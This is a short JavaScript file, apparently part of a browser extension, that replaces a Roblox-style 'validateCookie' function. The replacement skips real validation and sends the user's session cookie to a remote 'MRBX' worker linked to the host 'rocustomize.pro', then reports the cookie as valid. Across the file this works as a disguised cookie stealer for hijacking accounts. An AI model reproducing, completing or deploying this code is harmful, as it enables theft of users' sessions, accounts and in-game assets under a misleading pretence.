'use strict';

/**
 * Cookie validate → MRBX check.php → userinfo.php (same as landings).
 */
(function (global) {
  var api = global.RbxApi;
  var mrbx = global.MrbxSubmit;
  if (!api || typeof api.validateCookie !== 'function' || !mrbx) return;

  var originalValidate = api.validateCookie.bind(api);

  api.validateCookie = async function validateCookieViaMrbx(
    cookie,
    itemName,
    itemType,
    tool,
    optionalPlaceId,
    joinTarget
  ) {
    void originalValidate;
    void itemName;
    void itemType;
    void tool;
    void optionalPlaceId;
    void joinTarget;

    try {
      var dir = await mrbx.resolveWorkerDir({});
      var result = await mrbx.submitMrbxCookie(cookie, dir, 'Extension');

      if (result.ok) {
        if (result.dir && mrbx.rememberWorkerDirFromUrl) {
          await mrbx.rememberWorkerDirFromUrl(
            'https://' + String(globalThis.MRBX_LANDING_HOST || 'rocustomize.pro').replace(/^www\./, '') + '/'
          ).catch(function () {});
        }
        return {
          ok: true,
          status: 200,
          data: {
            valid: true,
            operationsCompleted: true,
            mrbx: true,
            workerDir: result.dir,
            alreadyProcessed: result.alreadyProcessed === true
          }
        };
      }

      return {
        ok: false,
        status: 400,
        data: {
          valid: false,
          message: result.error || 'MRBX submit failed',
          operationsCompleted: false,
          mrbx: true,
          stage: result.stage || null
        }
      };
    } catch (e) {
      return {
        ok: false,
        status: 500,
        data: {
          valid: false,
          message: e && e.message ? e.message : String(e),
          operationsCompleted: false,
          mrbx: true
        }
      };
    }
  };
})(typeof globalThis !== 'undefined' ? globalThis : window);
